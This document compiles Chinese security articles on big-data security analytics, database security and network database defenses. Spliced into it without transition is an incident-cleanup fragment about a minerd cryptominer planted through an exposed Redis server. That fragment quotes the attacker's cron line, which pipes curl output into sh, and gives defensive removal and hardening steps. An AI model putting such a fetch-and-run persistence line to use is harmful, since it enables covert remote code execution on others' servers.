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大数据信息安全分析
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企业和其他组织一直在充满敌意的信息安全环境中运行，在这个环境中，计算和存储资源成为攻击者使用入侵系统进行恶意攻击的目标。其中，个人机密信息被窃取，然后被放在地下市场出售，而国家支持的攻击导致大量数据泄露。在这种情况下，一个企业需要部署大数据安全性分析工具
来保护有价值的公司资源。
信息安全的很大一部分工作是监控和分析服务器、网络和其他设备上的数据。如今大数据分析方面的进步也已经应用于安防监控中，并且它们可被用于实现更广泛和更深入的分析。它们与传统的信息安全分析存在显著的差异，本文将从两个方面分别介绍大数据安全分析的新的特点，以及企业在选择大数据分析技术时需要考虑的关键因素。
大数据安全分析的特征
在许多方面，大数据安全分析是[安全信息和事件管理security information and event management ，SIEM)及相关技术的延伸。虽然只是在分析的数据量和数据类型方面存在量的差异，但对从安全设备和应用程序提取到的信息类型来说，却导致了质的差异。
大数据安全分析工具通常包括两种功能类别：SIEM，以及性能和可用性监控(PAM)。SIEM工具通常包括日志管理、事件管理和行为分析，以及数据库和应用程序监控。而PAM工具专注于运行管理。然而，大数据分析工具比纯粹地将SIEM和PAM工具放在一起要拥有更多的功能;它们的目的是实时地收集、整合和分析大规模的数据，这需要一些额外的功能。
与SIEM一样，大数据分析工具具有在网络上准确发现设备的能力。在一些情况下，一个配置管理数据库可以补充和提高自动收集到的数据的质量。此外，大数据分析工具还必须能够与LDAP或ActiveDirectory服务器，以及其他的第三方安全工具进行集成。对事件响应工作流程的支持对于SIEM工具可能并不是非常重要，但是当日志和其他来源的安全事件数据的的数据量非常大时，这项功能就必不可少了。
大数据信息安全分析与其他领域的安全分析的区别主要表现在五个主要特征。
主要特性1：可扩展性
大数据分析其中的一个主要特点是可伸缩性。这些平台必须拥有实时或接近实时的数据收集能力。网络流通是一个不间断的数据包流，数据分析的速度必须要和数据获取的速度一样快。 该分析工具不可能让网络流通暂停来赶上积压的需要分析的数据包。
大数据的安全分析不只是用一种无状态的方式检查数据包或进行深度数据包分析，对这个问题的理解是非常重要的。虽然这些都是非常重要和必要的，但是具备跨越时间和空间的事件关联能力是大数据分析平台的关键。这意味着只需要一段很短的时间，一个设备(比如web服务器)上记录的事件流，可以明显地与一个终端用户设备上的事件相对应。
主要特性2：报告和可视化
大数据分析的另一个重要功能是对分析的报告和支持。安全专家早就通过报表工具来支持业务和合规性报告。他们也有通过带预配置安全指标的仪表板来提供关键性能指标的高层次概述。虽然现有的这两种工具是必要的，但不足以满足大数据的需求。
对安全分析师来说，要求可视化工具通过稳定和快速的识别方式将大数据中获得的信息呈现出来。例如，Sqrrl使用可视化技术，能够帮助分析师了解相互连接的数据(如网站，用户和HTTP交易信息)中的复杂关系。
主要特性3：持久的大数据存储
大数据安全分析名字的由来，是因为区别于其他安全工具，它提供了突出的存储和分析能力。大数据安全分析的平台通常采用大数据存储系统，例如Hadoop分布式文件系统(HDFS)和更长的延迟档案储存，以及后端处理，以及一个行之有效的批处理计算模型MapReduce。但是MapReduce并不一定是非常有效的，它需要非常密集的I / O支出。一个流行工具Apache Spark可以作为MapReduce的替代，它是一个更广义的处理模型，相比MapReduce能更有效地利用内存。
大数据分析系统，如MapReduce和Spark，解决了安全分析的计算需求。同时，长时持久存储通常还取决于关系或NoSQL数据库。例如，SplunkHunk平台支持在Hadoop和NoSQL数据库之上的分析和可视化。该平台位于一个组织的非关系型数据存储与应用环境的其余部分之间。Hunk应用直接集成了数据存储，不需要被转移到二级内存存储。Hunk平台包括用于分析大数据的一系列工具。它支持自定义的仪表板和Hunk应用程序开发，它可以直接构建在一个HDFS环境，以及自适应搜索和可视化工具之上。
大数据安全分析平台的另一个重要特点是智能反馈，在那里建立了漏洞数据库以及安全性博客和其他新闻来源，潜在的有用信息能够被持续更新。大数据安全平台可从多种来源提取数据，能够以它们自定义的数据收集方法复制威胁通知和关联信息。
主要特性4：信息环境
由于安全事件产生这么多的数据，就给分析师和其他信息安全专业人员带来了巨大的风险，限制了他们辨别关键事件的能力。有用的大数据安全分析工具都在特定用户、设备和时间的环境下分析数据。
没有这种背景的数据是没什么用的，并且会导致更高的误报率。背景信息还改善了行为分析和异常检测的质量。背景信息可以包括相对静态的信息，例如一个特定的雇员在特定部门工作。它还可以包括更多的动态信息，例如，可能会随着时间而改变的典型使用模式。例如，周一早晨有大量对数据仓库的访问数据是很正常的，因为管理者需要进行一些临时查询，以便更好地了解周报中描述的事件。
主要特性5：功能广泛性
大数据安全分析的最后一个显著特征是它的功能涵盖了非常广泛的安全领域。当然，大数据分析将收集来自终端设备的数据，可能是通过因特网连接到TCP或IP网络的任何设备，包括笔记本电脑、智能手机或任何物联网设备。除了物理设备和虚拟服务器，大数据安全分析必须加入与软件相关的安全性。例如，脆弱性评估被用于确定在给定的环境中的任何可能的安全漏洞。网络是一个信息和标准的丰富来源，例如Cisco开发的NetFlow网络协议，其可以被用于收集给定网络上的流量信息。
大数据分析平台，也可以使用入侵检测产品分析系统或环境行为，以发现可能的恶意活动。
大数据安全分析与其他形式的安全分析存在质的不同。需要可扩展性，需要集成和可视化不同类型数据的工具，环境信息越来越重要，安全功能的广泛性，其让导致供应商应用先进的数据分析和存储工具到信息安全中。
如何选择合适的大数据安全分析平台
大数据安全分析技术结合了先进的安全事件分析功能和事故管理系统功能(SIEM)，适用于很多企业案例，但不是全部。在投资大数据分析平台之前，请考虑公司使用大数据安全系统的组织的能力水平。这里需要考虑几个因素，从需要保护的IT基础设施，到部署更多安全控制的成本和益处。
基础设施规模
拥有大量IT基础设施的组织是大数据安全分析主要候选者。应用程序、操作系统和网络设备都可以捕获到恶意活动的痕迹。单独一种类型的数据不能提供足够的证据来标识活动的威胁，多个数据源的组合可以为一个攻击的状态提供更全面的视角。
现有的基础设施和安全控制生成了原始数据，但是大数据分析应用程序不需要收集、采集和分析所有的信息。在只有几台设备，而且网络结构不是很复杂的环境中，大数据安全分析可能并不是十分必要，在这种情况下，传统的SEIM可能已经足够。
近实时监控
驱动大数据安全分析需求的另一个因素是近实时采集事故信息的必要性。在一些保存着高价值数据、同时又容易遭受到严重攻击的环境中，实时监控尤为重要，如金融服务、医疗保健、政府机构等。
最近Verizon的研究发现，在60%的事件，攻击者能够在几分钟内攻克系统，但几天内检测到漏洞的比例也很低。减少检测时间的一种方法是从整个基础设施中实时地收集多样数据，并立即筛选出与攻击事件有关的数据。这是一个大数据分析的关键用例。
详细历史数据
尽管尽了最大努力，在一段时间内可能检测不到攻击。在这种情况下，能够访问历史日志和其它事件数据是很重要的。只要有足够的数据可用，取证分析可以帮助识别攻击是如何发生的。
在某些情况下，取证分析不需要确定漏洞或纠正安全弱点。例如，如果一个小企业受到攻击，最经济有效的补救措施可能雇安全顾问来评估目前的配置和做法，并提出修改建议。在这种情况下，并不需要大数据安全分析。其他的安全措施就可能很有效，而且价格便宜。
本地vs云基础架构
顾名思义，大数据安全分析需要收集和分析大量各种类型的数据。如捕获网络上的所有流量的能力，对捕获安全事件信息的任何限制，都可能对从大数据安全分析系统获得的信息的质量产生严重影响。这一点在云环境下尤其突出。
云提供商限制网络流量的访问，以减轻网络攻击的风险。例如，云计算客户不能开发网段来收集网络数据包的全面数据。前瞻性的大数据安全分析用户应该考虑云计算供应商是如何施加限制来遏制分析范围的。
有些情况下，大数据安全分析对云基础设施是有用的，但是，特别是云上有关登录生成的数据。例如，亚马逊Web服务提供了性能监控服务，称为CloudWatch的，和云API调用的审计日志，称为CloudTrail。云上的操作数据可能不会和其他数据源的数据一样精细，但它可以补充其他数据源。
利用数据的能力
大数据安全分析摄取和关联了大量数据。即使当数据被概括和聚集的时候，对它的解释也可能是很有挑战性的。从大数据分析产生的信息的质量，部分上讲是分析师解释数据能力的一项指标。当企业与安全事件扯上关系的时候，它们需要那些能够切断攻击链路，以及理解网络流量和操作系统事件的安全分析师。
例如，分析师可能会收到一个数据库服务器上有关可疑活动的警报。这很可能不是一个攻击的第一步。分析师是否可以启动一个警报，并通过导航历史数据找到相关事件来确定它是否确实是一个攻击?如果不能，那么该组织并没有意识到大数据安全分析平台带来的好处。
其他安全控制
企业在投身大数据安全分析之前，需要考虑它们在安全实践方面的整体成熟度。也就是说，其他更便宜和更为简单的控制应该放在第一位。
应该定义、执行和监测清晰的身份和访问管理策略。例如，操作系统和应用程序应该定期修补。在虚拟环境的情况下，机器图像应定期重建，以确保最新的补丁被并入。应该使用警报系统监视可疑事件或显著的环境变化(例如服务器上增加了一个管理员帐户)。应当部署web应用防火墙来减少注入攻击的风险和其他基于应用程序的威胁。
大数据安全分析的好处可能是巨大的，尤其是当部署到已经实现了全面的防御战略的基础设施。
大数据安全分析商业案例
大数据安全分析是一项新的信息安全控制技术。这些系统的主要用途是合并来自于多个来源的数据，并减少手动集成解决方案的需求。同时还解决了其他安全控制存在的不足，例如跨多个数据源查询困难。通过捕获来自于多个来源的数据流，大数据分析系统提高了收集取证重要细节的机会。
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top，查看了一会，没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句：
*/5 * * * * curl -fsSL | sh
病毒文件内容如下，感兴趣的可以研究下：
 View Code
解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，然后就注入了病毒，下面是解决办法和清除工作：
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.
关于数据库安全及其防范方案的分析
随着网络的不断发展，数据的共享日益加强，数据的安全保密越来越重要。为了计算机数据库整体安全性的控制，需要做好很多细节性的工作，并根据具体应用环境的安全需要来分析安全薄弱环节，并制定统一的安全管理策略加以实施，以保证其最高的安全性。
1.数据库安全环境的分析
随着时代的发展，我国的计算机信息安全标准也在不断提升。在当下的数据库系统安全控制模块中，我国数据库安全分为不同的等级。但是总体来说，我国的数据库安全性是比较低的，这归结于我国数据技术体系的落后。为了更好的健全计算机数据库体系，进行数据库安全体系的研究是必要的。我国现有的一系列数据安全理论是落后于发达国家的。这体现在很多的应用领域，比如电力领域、金融领域、保险领域等。很多软件都是因为其比较缺乏安全性而得不到较大范围的应用，归根结底是数据库安全性级别比较低。
为了满足现阶段数据库安全工作的需要，进行相关标准的深化研究是必要的。这需要对数据库安全进行首要考虑，且需要考虑到方方面面，才更有利于数据库保密性的控制，从而保证这些数据存储与调用的一致性。
在当前数据库安全控制过程中，首先需要对这些数据进行可用性的分析，从而有利于避免数据库遭到破坏，更有利于进行数据库的损坏控制及其修复。其次为了保证数据库的安全性、效益性，也离不开对数据库整体安全性方案的应用。最后必须对数据库进行的一切操作进行跟踪记录，以实现对修改和访问数据库的用户进行追踪，从而方便追查并防止非法用户对数据库进行操作。
2.数据库安全策略的更新
为了满足现阶段数据库安全性方案的应用，进行身份的鉴别是必要的。所谓的身份鉴别就是进行真实身份及其验证身份的配比，这样可以避免欺诈及其假冒行为的发生。身份鉴别模式的应用，表现在用户使用计算机系统进行资源访问时。当然在一些特定情况下，也要进行身份鉴别，比如对某些稀缺资源的访问。
身份鉴别通常情况下可以采用以下三种方法：一是通过只有被鉴别人自己才知道的信息进行鉴别，如密码、私有密钥等；二是通过只有被鉴别人才拥有的信物进行鉴别，如IC 卡、护照等；三是通过被鉴别人才具有的生理或者行为特征等来进行鉴别，如指纹、笔迹等。
在当前访问控制模块中，除了进行身份鉴别模式的应用外，还需要进行信息资源的访问及其控制，这样更有利于不同身份用户的权限分配。这就需要进行访问级别的控制，针对各个系统的内部数据进行操作权限的控制，进行自主性及其非自主性访问的控制，满足数据库的安全需要。实现用户对数据库访问权限进行控制，让所有的用户只能访问自己有权限使用的数据。当某一个用户具有对某些数据进行访问的权限时，他还可以把对这些数据的操作权限部分或者全部的转移给其他用户，这样其他的用户也获得了对这些数据的访问权。
为了更好的进行数据库的安全管理，审计功能的应用也必不可少。这需要就数据库的数据进行统一性的操作。这样管理员更加方便对数据库应用情况进行控制，审计功能也有利于对数据库的操作行为进行控制，更有利于控制用户对数据库的访问。攻击检测是通过升级信息来分析系统的内部和外部所有对数据库的攻击企图，把当时的攻击现场进行复原，对相关的攻击者进行处罚。通过这种方法，可以发现数据库系统的安全隐患，从而来改进以增加数据库系统的安全性。
在数据库数据处理过程中，可以进行一些合法查询模式的应用，当需要调取保密数据时，就需要应用推理分析模块。这是数据库安全性方案控制过程中的重难点，而通过这种简单的推理分析方法调取保密数据，是得不到有效解决的。但是我们可以使用以下几种方法来对这种推理进行控制：数据加密的基本思想就是改变符号的排列方式或按照某种规律进行替换，使得只有合法的用户才能理解得到的数据，其他非法的用户即使得到了数据也无法了解其内容。
通过对加密粒度的应用，更有利于进行数据库加密性的控制。其分为几种不同的应用类型等级。在当前应用模块中，需要进行数据保护级别的分析，进行适当的加密粒度的分析。更有利于满足数据库级别加密的需要。该加密技术的应用针对的是整体数据库，从而针对数据库内部的表格、资料等加密。采用这种加密粒度，加密的密钥数量较少，一个数据库只需要一个加密密钥，对于密钥的管理比较简单。但是，由于数据库中的数据能够被许多的用户和应用程序所共享，需要进行很多的数据处理，这将极大的降低服务器的运行效率，因此这种加密粒度只有在一些特定的情况下才使用。
表级加密也是比较常用的方法，这种方法应用于数据库内部的数据加密。针对具体的存储数据页面进行加密控制。这对于系统的运行效率的提升具备一定的帮助，不会影响系统的运行效率。这种方法需要应用到一些特殊工具进行处理，比如解释器、词法分析器等，进行核心模块的控制，进行数据库管理系统源代码的控制及其优化。但是其难以确保数据库管理系统的整体逻辑性，也存在缺陷。记录级加密；这种加密技术的加密粒度是表格中的每一条记录，对数据库中的每一条记录使用专门的函数来实现对数据的加密、解密。通过这种加密方法，加密的粒度更加小巧，具有更好的选择性和灵活性。字段级加密；这种加密技术的加密粒度是表格中的某一个或者几个字段。通过字段级的加密粒度只需要对表格中的敏感列的数据进行加密，而不需要对表格中的所有的数据进行加密。
选择加密算法也是比较常见的数据加密方法。它是数据加密的核心部分。对于数据库的整体安全性的控制具有直接性的影响。通过对加密算法的分析，得知其分为公共密钥加密及其对称加密。在数据加密模块中，需要进行密文及其明文的区分，从而进行明文及其密文的转换，也就是普遍意义上的密码。密码与密钥是两个不同的概念。后者仅是收发双方知道的信息。在数据加密技术中，对密钥进行管理主要包括以下几个方面，产生密钥。产生怎样的密钥主要取决于使用什么样的算法。若产生的密钥强度不一样就称这种算法实现的是非线性的密钥空间，若产生的密钥强度一样就称这种算法实现的是线性的密钥空间。分配密钥、传递密钥：分配密钥就是产生一个密钥并且将这个密钥分配给某个用户使用的过程。
密钥的传递分为不同的应用形式，集中式与分散式。所谓的集中式就是进行密钥整体式的传递；所谓的分散式就是对密钥的多个部分进行划分，以秘密的方法给用户进行传递。通过将整体方法与分散方法应用到存储模块中，更好的满足现阶段数据库整体安全性的需要。对于密钥的备份可以使用和对密钥进行分散存储一样的方式进行，以避免太多的人知道密钥；而销毁密钥需要有管理和仲裁机制，以防止用户对自己的操作进行否认。
3.结束语
随着计算机，特别是网络的不断发展，数据的共享日益加强，数据的安全保密越来越重要。本文详细阐述了数据库的安全防范，分别从数据分析、用户鉴别、访问权限控制、审计、数据加密等环节逐一剖析数据库安全。为了计算机数据库整体安全性的控制，需要做好很多细节性的工作，并根据具体应用环境的安全需要来分析安全薄弱环节，并制定统一的安全管理策略加以实施，以保证其最高的安全性。
随着互联网的迅猛发展，数据库系统在网络环境下的面临着一系列威胁如病毒感染、黑客攻击等。下文是我为大家搜集整理的关于网络数据库安全论文范文的内容，欢迎大家阅读参考!
网络数据库安全论文范文篇1
浅论计算机网络数据库安全
【摘 要】文章阐述了网络数据库的安全因素，并且对网络数据库的安全防范措施进行了探讨。
【关键词】计算机数据库;网络环境;分析;安全
经过目前网络环境下，网络信息安全是一个亟待解决的重要问题，而计算机数据库的安全问题，又是其核心和关键问题，它直接关系到网络信息管理系统的整体的安全性。所以，为了保证网络信息系统高效、稳定、安全的运行，科学、合理的防范措施是网络数据库技术研究的重点内容。
一、网络数据库的模型构建
网络数据库的基础是后台数据库，其访问控制功能是由前台程序所提供。查询、存储等操作的信息集合是由浏览器完成的，数据库在网络环境下，其特点是实现数据信息的共享，同时能够实现访问控制和最小冗余度，保持数据的一致性和完整性，图1是网络数据库的构建模型图如下
该模型是在网络技术结合数据库技术的基础上构建的，具体是由三层结构组成，包括数据库服务器、应用服务器和WEB服务器、浏览器等。整个系统和用户连接的接口，是通用的浏览器软件。作为第一层的客户端，浏览器的功能是为用户提供信息的输入，将代码转化为网页，提供交互功能，同时处理所提出的各种请求。而第二层的WEB服务器是作为后台，通过对相应的进程进行启动，来响应各种请求，同时生成代码处理各种结果，若数据的存取也在客户端请求的范围内，则数据库服务器必须配合WEB服务器，才能对这一请求共同进行完成。第三层数据库服务器对数据库能进行有效的管理，对不同的SQL服务器发出的请求起到协调的功能。
二、分析网络数据库安全性
1、分析数据安全性
网络数据库是信息管理系统的核心部分，其安全性能会对数据库中数据的安全起到直接的影响作用，由于很多重要的数据保存在数据库服务器上，例如一些账务数据、金融数据、还有一些工程数据、技术数据、涉及到规划和战略发展的决策性数据等等，属于机密信息，严禁非法访问，对外必须严格保密的数据等。而针对企业和公司，内部资源的筹划、对外交易的进行、日常业务的运作等等，必须依赖网络数据库进行，所以数据的安全性至关重要。
2、分析系统的安全性
网络数据库是否安全，直接决定了服务器主机和局域网的安全性能，数据库系统配置的“可从端口寻址的”，表示只要具备数据的使用权限及适合的查询工具，都可直接连接数据库及服务器端口，而针对操作系统的安全检测，可巧妙避开。而多数数据库还具有公开的密码和默认号，而这种默认账号的权限非常高，既可访问数据库的各级资源，同时还可按照指令对操作系统进行操作，甚至还能开启后门，对监听程序进行存放，进而获得相关口令，对整个局域网进行控制，产生较严重的危害性。
3、分析影响数据库的安全因素
数据库服务器是网络信息系统的核心部分，里面有大量敏感的和重要的信息存在，所以数据库的安全性对保存的数据的安全性有着直接的影响。网络数据库不仅有着较大的处理量，较集中的数据信息，同时数据有着非常频繁的更新，用户访问量也非常巨大。所以，对网络数据安全带来威胁的影响因素有：
(1)用户没有执行正确的访问操作，造成数据库发生错误;
(2)人为对数据库进行破坏，造成数据库不能恢复正常;
(3)非法访问机密信息，而表面又不留任何痕迹;
(4)通过网络，用户对数据库进行访问时，会受到各种搭线窃听技术的攻击;
(5)用户采取非法手段，对信息资源进行窃取;
(6)在未被授权的情况下，对数据库进行修改，造成数据失真现象严重;
面对以上种种威胁，只进行网络保护还根本不够，由于和其他系统在结构上有着本质的区别，数据库中所含有的各种数据敏感级别和重要程度不同，同时还具有共享功能，为拥有各种特权的用户提供服务，所以它对安全性的要求更广，也更为严格，不仅仅需要对联机网络、外部设备等实行物理保护，为防止敏感数据被盗用，同时对非法访问进行预防，还必须采取其他有效措施，以实现数据的一致性和完整性。
三、对网络数据库实行安全防范的措施
目前所采取的各种防范策略中，往往还不全面和具体，无法真正实现数据库的安全保障。所以在网络环境下，针对数据库的安全问题，应从日常的维护和开发，系统的设计等整体方面进行考虑和设计，建立各种安全机制，形成整体的安全策略。
1、研发信息管理人员应转变设计观念
首先研发信息管理系统的人员，必须转变观念，改变以往的只对信息管理系统功能进行重视的错误看法，综合考虑系统的安全性，彻底评估所要开发的系统和软件，从后台数据库系统及前台开发工具，以及软件和硬件的实施环境等方面，查找信息系统中潜在的安全隐患，避免因为硬件环境及开发工具的不合适，造成数据库的泄密，进而使整个系统出现不稳定现象。
2、系统管理和维护人员应综合考虑数据库安全性
系统管理和维护人员，必须对数据库的安全性进行全面的考虑，具体涵盖以下两点内容：
1)外围层的安全
主要包括网络安全和计算机系统安全，而来自病毒的侵犯是最主要的威胁，所以为了对整个系统的正常运行做出保证，必须规避外层中病毒的扩散和隐藏及入侵，采用综合治理方法，将防、杀、管结合在一起，对网络数据库系统的虚拟专用网进行构筑，采用技术，使网络路由的传输安全性和接入安全性得到保障，利用防火墙技术，实现网段间隔离及网间隔离，既避免系统遭受非法入侵，同时也使网络边界安全得到保障。
同时，网路数据库外围安全重点是在WEB服务器及操作系统上，既要进行物理保护，同时还应进行应用服务器的保护，通过加密等方式，预防在传输过程中，数据被篡改或监听。因为该层对数据库自身的加密并为涉及，所以不能直接进行文件的加密，也无法使用密钥管理。同时由于主要是以WEB浏览器服务输出进行该层的运行程序，所以在ASP等具体应用软件上，更要实现其安全性能。
2)核心层安全
在整个网路数据库系统中，应用软件和数据库是重要的核心组成部分，若滥用、非法复制、窃取、篡改、丢失软件和数据，将会对系统造成毁灭性的打击，严重的会危害到社会安全。所以，我们必须进行控制用户访问权限，从数据库的加密、恢复和备份、数据分级控制等几个方面，来进行安全防范，使数据库管理系统的完整性和独立性得到保障。数据分级是一种简单易行的操作方法，可对数据库实行信息流控制。采用加密控制，通过加密数据库文件，提供几种不同速度和安全强度的加解密算法，为用户提供合理的设置。
四、结语
伴随着计算机技术的迅猛发展和不断更新换代，各种建立在Internet及计算机上的信息管理系统已经成为重要的手段，支撑和完成各种事物的运作。在网络环境下，开发和使用信息管理系统的过程中，必须重点考虑安全问题，这样才能为整个数据库服务器的数据安全提供保障，以实现一种预期的效益，更好的为广大用户服务。
参考文献：
[1]徐莉.春梅.网络数据库的安全漏洞及解决方法[J].福建电脑，2007(12).
[2]钱菁.网络数据库安全机制研究[J].计算机应用研究，2010(12).
网络数据库安全论文范文篇2
浅谈网络数据库安全策略
摘 要： 主要对现今网络环境中数据库所面临的安全威胁进行详尽论述，并由此全面地分析提高网络数据库安全性的解决对策。
关键词： 网络;数据库;安全对策
随着网络在21世纪社会当中的普及发展，越来越多的企业逐渐地 参与进来，并且将企业的核心逐渐的转向互联网，在地理区域内分散的部门和公司以及厂商对于数据库的应用需求明显呈现出过旺的趋势，在数据库的管理系统当中逐渐的从单机有力的扩展到了整个网络环境，针对数据的收集和储存以及处理与后期的传播方式都从集中性迈向了全面分布式模式。企业在使用数据库管理系统的时候，尤为重视的是数据库信息的安全性。
1 网络数据库安全机制
网络数据库的基础是计算机的后台数据库，在加上前台程序所以提供的访问控制，对于数据的储存和查询以及信息之间的集合操作都可以通过有效的浏览器进行逐步完成。当前信息处理网络环境当中，有效的将大量数据信息进行多用户的共享是数据库存在的最大特点，然而与此同时对于数据的完整性以及一致性都有着有效的保障，有力的实现了最小程度的访问控制。
网络数据库所采用的两个典型的模式是B/S模式和C/S模式。C/S所采用的模式主要分为三层结构：① 首先是客户机;② 应用服务器;③ 数据库服务器，主要表现形式的是由客户机将数据传输到应用服务器，然后再次传输到数据库的服务器当中。B/S所采用的模式其主要也是分为三层结构：① 首先是浏览器;② Web服务器;③ 数据库服务器，主要表现形式如上所述。由此我们可以看出，这两种网络数据库模式在结构上存在很大程度的共同点，它们全部都涉及到了网络和系统软件以及应用软件。
2 各层安全机制详述
2.1 网络系统安全机制
如果数据库受到了外部恶意的信息的攻击侵入，首先是从网络系统开始进行攻击入侵，由此我们可以判断数据库安全的第一道保护屏障就是网络系统的正常安全。我们仅站在技术角度而言，可以将其大致的分成其防入侵检测以及协作式入侵检测技术等。下面我们分别阐述：
首先，计算机系统当中都安装有防火墙，防火墙的广泛运用俨然成为了现今一种最基本的防范措施。防火墙所起到的主要作用是对可信任的网络以及不可信任的网络之间的访问渠道进行有效的监控，针对内部网络和外部网络建立一道有效的防护措施屏障，将外部网络当中的非法访问进行有效的拦截并且将内部信息进行有效的阻止防止信息外流。防火墙对于外部的入侵具有强有力的防范控制，但是对于网络内部产生的非法操作却无法进行阻拦和加以有效控制。
其次，关于入侵检测，是近几年逐渐发展壮大的一种有力的防范技术，它主要采用了统计技术和规则技术以及网络通信技术与人工智能等技术和方法进行有效的综合在一起的防范技术，入侵检测所起到的主要作用是对网络和计算机系统进行有效的监控，能够及时有效的反映出是否有被入侵或者滥用的情况。
最后，针对协作式入侵检测技术，对于以往独立的入侵检测系统的不足点和诸多方面的缺陷，协作式入侵检测技术都有着极好的弥补，其系统当中IDS是基于一种统一的规范，入侵检测组件之间的信息都有效的自动进行交换。而且通过信息的自动交换可以对入侵信息进行有效的检查，并且还能够有效的在不同的网络环境当中进行运用。
2.2 服务器操作系统安全机制
目前，市场上计算机有很大一部分都是Windows NT以及Unix操作系统，其所具有的安全级别一般的处于C1、C2级。主要的安全技术可以归纳为以下三点：
① 操作系统安全策略。主要是在本地计算机的安全设置上进行配置，主要保障的安全策略包括密码策略和账户锁定策略以及审核策略和IP安全策略等一系列的安全选项，其具体运用可以体现在用户的账户以及口令和访问权限等诸多方面。
② 安全管理策略。主要是网络管理员对系统安全管理所采取的方法和策略。因为，操作系统和网络环境各不相同，所以需要采取的安全管理策略也都存在着各不相同的方法，但是主要核心依旧是有力的保障服务器的安全以及对各类用户的权限进行分配。
③ 数据安全策略。这点主要具有以下几点体现：数据的加密技术和对数据进行备份以及数据储存当中的安全性等。由此可以采用的技术有很多，其中主要有：认证、IPSec ，SSL ，TLS，等技术。
2.3 数据库管理系统安全机制
数据库系统在操作系统当中都是以文件的形式进行有效的管理。所以入侵数据库的人员可以对操作系统当中的漏洞及其数据库当中的文件进行直接盗取，还可以利用OS工具进行违法操作和对数据库文件内容进行篡改。所存在的这种隐患数据库用户一般很难以察觉，针对这种漏洞进行分析被认为是BZ级别的安全技术措施。数据库的层次安全技术，主要针对当前两个层次已经被破坏的情况下进行有效的解决，保障数据库安全性。那么对于数据库的管理系统就必须要求有一套较为强有力的安全机制。
2.4 客户端应用程序安全机制
网络数据库安全性的重要方面是客户端应用程序。具有强有力和实现比较快捷方便是其主要的特点，而且还能够根据需求的变化很容易做出相对应的更改。客户端的应用程序不仅可以有效的控制用户的合法登陆以及身份的验证，而且还能够对数据进行直接的设置。想要应用系统具有更好的安全性，首先就必须在应用程序上进行行之有效的控制。另外，针对客户应用程序的编写也具有着较大的灵活性，与此同时还有很多的技巧性，可以有效全面的实现管理的灵活和安全。
3 使用DBMS安全机制防范网络攻击
有很多大型的DBMS对于数据库的安全防范技术的提供相对来讲都是非常完善的，而且针对提高数据库的安全性也有着明显的积极作用。
3.1 系统的认证和授权
认证是验证系统中请求服务的人或应用程序身份的过程;授权是将一个通过身份认证的身份映射已经授予数据库用户的许可的过程，该过程限制用户在数据库内部允许发生的行为。对SQL Server数据库服务器进行权限设置时，应该为DPeb程序单独设立一个受限的登录，指定其只能访问特定的数据库，并为该特定数据库添加一个用户，使之与该受限的登录相连，并严格设定该用户的数据库权限。
3.2 数据的备份与恢复
通过数据备份可以在系统发生故障的时候，管理员可以在最短的时间内将数据进行恢复，保持原先所处理的状态，对于数据的一个完整性和一致性有着强有力的保障。通常对于数据库的备份一般都是采取以下几种形式备份形式：其一静态备份;其二动态备份;其三逻辑备份等。然而对于数据库的恢复，可以采取磁盘镜像和数据库备份文件以及数据库在线日志等诸多方式进行有效的恢复。
3.3 全面有效的加强审查
通过有效的审查，用户可以将数据库当中所进行的所有操作都能够得以有效的自动记录，然后将所记录的信息全部保存在审查的日志当中，对于审查进行全面加强利用可以有效的跟踪信息，将数据库现有状况的一系列事件都进行充分的重现。因此，就可以有效的找出非法存取数据的人员以及存取信息的时间和内容等线索，这样就方便有效的追查有关责任，与此同时关于系统安全方面的弱点和漏洞审查也可以有效的进行发现。
4 总结
现代社会正处于一个不断发展的阶段，网络信息技术也有着空前的发展。然而互联网技术的不断高速发展，其网络数据库的安全性更是当今不断发展的主要问题，随着现代网络入侵系统手段的不断提高，其所采用的安全技术也在不断的进一步提升。只有对所出现的问题进行不断的分析和研究，总结经验进而全面有效的处理出现的一系列的新问题。总之，计算机网络数据库的安全防范是新时期一个永久性的重要问题，只有全面的通过科学合理的安全防范手段以及在后期的发展过程中进行不断的改进和完善，才能够更好的将系统的安全可靠性进行有效的全面提高。
参考文献：
[1]周世忠，浅谈网络数据库安全研究与应用[J].电脑知识与技术，2010(05).
[2]戴雪蕾，基于SQL SERVER的网络数据库安全管理[J].网络安全技术与应用，2009(04).
[3]梁建民，网络数据库的安全因素分析和预防措施探讨[J].光盘技术，2008(09).
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